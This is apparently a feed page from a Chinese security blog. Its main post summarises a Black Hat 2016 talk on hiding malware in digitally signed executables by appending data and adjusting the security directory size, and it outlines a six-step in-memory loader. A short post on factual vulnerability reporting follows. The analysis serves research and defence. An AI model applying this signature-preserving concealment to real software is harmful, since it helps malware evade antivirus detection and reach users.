  1. MSDN,Dynamic-Link Library Security
  2. MSDN,Dynamic-Link Library Search Order
  3. Microsoft,安全通报 (2269637)
  4. CWE,CWE-426: Untrusted Search Path
  5. CWE,CWE-427: Uncontrolled Search Path Element
  6. Yonsm,AheadLib 2.2.150 – 自动生成一个特洛伊 DLL 分析代码的工具
  7. HaifeiLi,Watch your Downloads: the risk of the “auto-download” feature on Microsoft Edge and Google Chrome
  8. Microsoft,微软安全公告 MS16-014
  9. tombkeeper,Sexrets of LoadLibrary
  10. Greg Linares,SRT-VR-24DEC2015
  11. Wins0n,CVE-2016-0041 Windows 10 PhoneInfo.dll Hijacking Vulnerability
  12. Microsoft Edge Dev Blog,Protecting Microsoft Edge against binary injection
  13. Paul Rascagneres,MICROSOFT EDGE BINARY INJECTION MITIGATION OVERVIEW

本文地址: 程序人生 >> 深入解析DLL劫持漏洞
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

在签名的程序中隐藏和执行恶意软件?

$
0
0

在Blackhat USA 2016上,来自Deep Instinct的安全研究人员呈现了一个名为《Certificate Bypass: Hiding and Executing Malware from a Digitally Signed Executable》的演讲,咋一看还觉得挺惊奇的,听过演讲之后才发现原理十分简单,而且大部分内容都集中在内存加载PE文件上,于是忍不住又是一阵惊奇:这也可以?在仔细读完作者的Paper之后,发现和传统技术点还是有区别的,不过也有很大的限制。

早期的恶意软件为了躲避检测,使用过一种叫做“傀儡进程注入”的技术。通俗一点讲,就是先启动并挂起一个合法的可执行文件(进程A),随后通过跨进程内存读写来将自身(或者是第三方PE文件)注入到进程A,同时处理输入表和重定位表,最后跳转到入口点来执行代码,这样就完成了一次借尸还魂的操作。原始恶意进程在完成这一操作之后会自动退出,而之后恶意代码会一直在傀儡进程中运行,也就达到了隐藏自身的目的。

传统恶意代码的傀儡进程代码注入技术

那么,Blackhat上的这个演讲有什么不一样的地方呢?有两个关键的地方。

首先,在一个带有合法数字签名的可执行程序中隐藏恶意程序,并且保证原有数字签名的有效性不会被破坏。这可以在一定程度上躲避杀毒软件的检测,因为某些杀毒软件可能并不会仔细去检查带有合法数字签名的程序。这一过程的实现钻了Windows校验数字签名的一个空子:Windows在校验PE文件的数据时,有以下三处数据是忽略的:

  1. 可选头中的CheckSum字段,即IMAGE_NT_HEADERS->IMAGE_OPTIONAL_HEADER->CheckSum;
  2. 数据目录表数组的第五个元素,即IMAGE_DIRECTORY_ENTRY_SECURITY(包括VirtualAddress和Size);
  3. 数字签名相关数据,也就是IMAGE_DIRECTORY_ENTRY_SECURITY指向的数据;

通常而言,IMAGE_DIRECTORY_ENTRY_SECURITY指向的数据会放在文件的末尾,所以我们可以在文件末尾附加额外的数据,同时修改IMAGE_DIRECTORY_ENTRY_SECURITY的Size字段,即可避免数字签名失效。此外,Size是DWORD类型,所以可以存放大量数据!

其次,恶意程序同时充当了三个角色:是携带恶意代码的载体,也是Loader,还是傀儡进程。相关的实现细节为:

  1. Loader进程启动;
  2. Loader在内存中提取附加的恶意程序的数据;
  3. Loader尝试移动自身的数据到内存空间中的其他位置,这样可以保证恶意程序的数据可以加载到指定的内存地址;在移动的过程中,Loader需要对自身进行重定位操作,但是不需要对附加的恶意程序进行重定位操作;
  4. Loader完成移动操作后,需要跳转到移动后的代码去执行,这样才能继续接管控制权限;
  5. Loader分配内存并加载恶意程序,并处理对应的输入表;
  6. 跳转到恶意程序的入口点执行代码,将控制权限移交给恶意程序;

新的方法不需要跨进程操作内存,且Loader是完全通用的!缺点:

  1. 需要有合法的证书给Loader签名;
  2. 样本可能会被第三方使用,可能复用成本较低(可通过增强校验来避免);
  3. 安全厂商可以通过证书精确打击;

总的来说,这个议题最有新意的地方在于隐藏的实现上,其他内容基本都是很古老的东西了。

AD: 我建立了一个微信公众号“煮酒论安全”,欢迎大家扫码关注,以后新的文章都会同步发送到微信公众号。
扫描二维码关注微信公众号“煮酒论安全”

参考文章:

  1. 动态加载并执行Win32可执行程序
  2. CERTIFICATE BYPASS: HIDING AND EXECUTING MALWARE FROM A DIGITALLY SIGNED EXECUTABLE

觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> 在签名的程序中隐藏和执行恶意软件?
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

摆事实讲道理

$
0
0

记得以前实习做病毒分析的时候,带我们的人说分析报告要客观的写,想来就是事实是怎么样就怎么写,不要带入主观臆测,拿捏不准的就只能硬着头皮去分析了,或者就不写。

最近分析漏洞也是同样的感觉,因为发现网上的一些分析报告,在一些细节问题上没说清楚,有的明显带入了主观臆测,而有的则是受到其他资料的影响被误导。

说到底还是分析的不够细致,如果分析得足够细致的话,所以疑问都可以消除,所有现象都能合理解释。那么问题来了,分析漏洞的时候,EXP 的每一个字节都知道是干什么用的吗?尽可能做到这一点,才能尽可能学到更多的东西。

漏洞报告,也得用事实说话。


觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> 摆事实讲道理
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

Viewing all 59 articles
Browse latest View live